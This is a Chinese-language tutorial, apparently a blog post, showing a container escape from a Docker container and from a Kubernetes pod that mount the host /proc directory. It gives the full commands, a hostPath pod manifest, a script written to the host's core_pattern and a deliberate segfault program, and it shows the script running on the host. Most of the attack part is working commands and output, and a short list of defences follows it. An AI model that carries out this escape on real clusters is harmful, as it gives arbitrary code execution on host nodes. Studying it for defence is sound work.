Kubernetes攻防 攻击挂载了主机 /proc 目录的容器
·
攻击挂载了主机 /proc 目录的容器
逃逸并在外部执行命令的方式主要是利用了 linux 的 /proc/sys/kernel/core_pattern 文件
docker 示范
# 运行测试容器
[root@localhost ~]# docker run -v /proc:/host_proc --rm -it 192.168.101.99:80/base/centos:8 bash
[root@6fae9cc1a44d /]# mount |grep /host_proc
proc on /host_proc type proc (rw,nosuid,nodev,noexec,relatime)
systemd-1 on /host_proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=37,pgrp=0,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=19381)
# 1、需要利用在 release_agent 中提及的方法从 mount 信息中找出宿主机内对应当前容器内部文件结构的路径
[root@6fae9cc1a44d /]# sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
/var/lib/docker/overlay2/b0ee0d5b5859acfb1694a3381f80ab7a424982eedc449b70d51ac67a5c0d8259/diff
# 2、此时我们在容器内的 /exp.sh 就对应了宿主机的
# /var/lib/docker/overlay2/b0ee0d5b5859acfb1694a3381f80ab7a424982eedc449b70d51ac67a5c0d8259/diff 文件
# 在容器中创建一个脚本
[root@6fae9cc1a44d /]# vi exp.sh
[root@6fae9cc1a44d /]# cat exp.sh
#!/bin/bash
touch /tmp/near
# 在宿主机上查看脚本
[root@localhost ~]# cat /var/lib/docker/overlay2/b0ee0d5b5859acfb1694a3381f80ab7a424982eedc449b70d51ac67a5c0d8259/diff/exp.sh
#!/bin/bash
touch /tmp/near
# 3、因为宿主机内的 /proc 文件被挂载到了容器内的 /host_proc 目录,
# 所以我们修改 /host_proc/sys/kernel/core_pattern 文件以达到修改宿主机 /proc/sys/kernel/core_pattern 的目的
[root@6fae9cc1a44d /]# ls /host_proc/sys/kernel/core_pattern
/host_proc/sys/kernel/core_pattern
[root@6fae9cc1a44d /]# echo -e "|/var/lib/docker/overlay2/b0ee0d5b5859acfb1694a3381f80ab7a424982eedc449b70d51ac67a5c0d8259/diff/exp.sh \rcore" > /host_proc/sys/kernel/core_pattern
# 4、此时我们还需要一个程序在容器里执行并触发 segmentation fault 使植入的 payload 即 exp.sh 在宿主机执行。
[root@6fae9cc1a44d /]# vi main.c
[root@6fae9cc1a44d /]# cat main.c
#include <stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
# 编译这个 c 代码
[root@6fae9cc1a44d /]# gcc main.c -o main
# 宿主机执行的脚本授权
[root@6fae9cc1a44d /]# chmod 755 exp.sh
# 当容器内的 segmentation fault 被触发时,我们就达到了逃逸到宿主机在容器外执行任意代码的目的。
# 执行触发程序
[root@6fae9cc1a44d /]# ./main
Segmentation fault (core dumped)
# 5、宿主机上验证 exp.sh 是否执行
[root@localhost ~]# ls /tmp/near
/tmp/near
k8s 示范
部署测试示例
apiVersion: v1
kind: Pod
metadata:
name: centos-host-proc
spec:
containers:
- name: shell
image: 192.168.101.99:80/base/centos:8
# 保持 Pod 不退出,再 exec 进 bash(类似 -it bash 的用法)
command: ["/bin/sleep", "infinity"]
volumeMounts:
- name: host-proc
mountPath: /host_proc
volumes:
- name: host-proc
hostPath:
path: /proc
type: Directory
restartPolicy: Never
操作
[root@k8s-node1 ~]# kubectl exec -it centos-host-proc /bin/bash
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.
[root@centos-host-proc /]#
# 运行测试容器
[root@centos-host-proc /]# mount |grep /host_proc
proc on /host_proc type proc (rw,nosuid,nodev,noexec,relatime)
systemd-1 on /host_proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=40,pgrp=0,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=21557)
nfsd on /host_proc/fs/nfsd type nfsd (rw,relatime)
# 1、需要利用在 release_agent 中提及的方法从 mount 信息中找出宿主机内对应当前容器内部文件结构的路径
[root@centos-host-proc /]# sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/346/fs
# 2、此时我们在容器内的 /exp.sh 就对应了宿主机的
# /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/346/fs 文件
# 在容器中创建一个脚本
[root@centos-host-proc /]# vi exp.sh
[root@centos-host-proc /]# cat exp.sh
#!/bin/bash
touch /tmp/near
# 在宿主机上查看脚本
[root@k8s-node1 ~]# cat /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/346/fs/exp.sh
#!/bin/bash
touch /tmp/near
# 3、因为宿主机内的 /proc 文件被挂载到了容器内的 /host_proc 目录,
# 所以我们修改 /host_proc/sys/kernel/core_pattern 文件以达到修改宿主机 /proc/sys/kernel/core_pattern 的目的
[root@centos-host-proc /]# ls /host_proc/sys/kernel/core_pattern
/host_proc/sys/kernel/core_pattern
[root@centos-host-proc /]# echo -e "|/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/346/fs/exp.sh \rcore" > /host_proc/sys/kernel/core_pattern
# 4、此时我们还需要一个程序在容器里执行并触发 segmentation fault 使植入的 payload 即 exp.sh 在宿主机执行。
[root@centos-host-proc /]# vi main.c
[root@centos-host-proc /]# cat main.c
#include <stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
# 编译这个 c 代码
[root@centos-host-proc /]# gcc main.c -o main
# 宿主机执行的脚本授权
[root@centos-host-proc /]# chmod 755 exp.sh
# 当容器内的 segmentation fault 被触发时,我们就达到了逃逸到宿主机在容器外执行任意代码的目的。
# 执行触发程序
[root@centos-host-proc /]# ./main
Segmentation fault (core dumped)
# 5、宿主机上验证 exp.sh 是否执行
[root@k8s-node1 ~]# ls /tmp/near
/tmp/near
防御建议:
避免将宿主机的/proc目录挂载到容器中
如必须挂载,使用只读挂载并考虑使用ProcMount字段限制访问
监控对core_pattern等敏感文件的修改
使用seccomp过滤器限制容器内的系统调用
更多推荐
所有评论(0)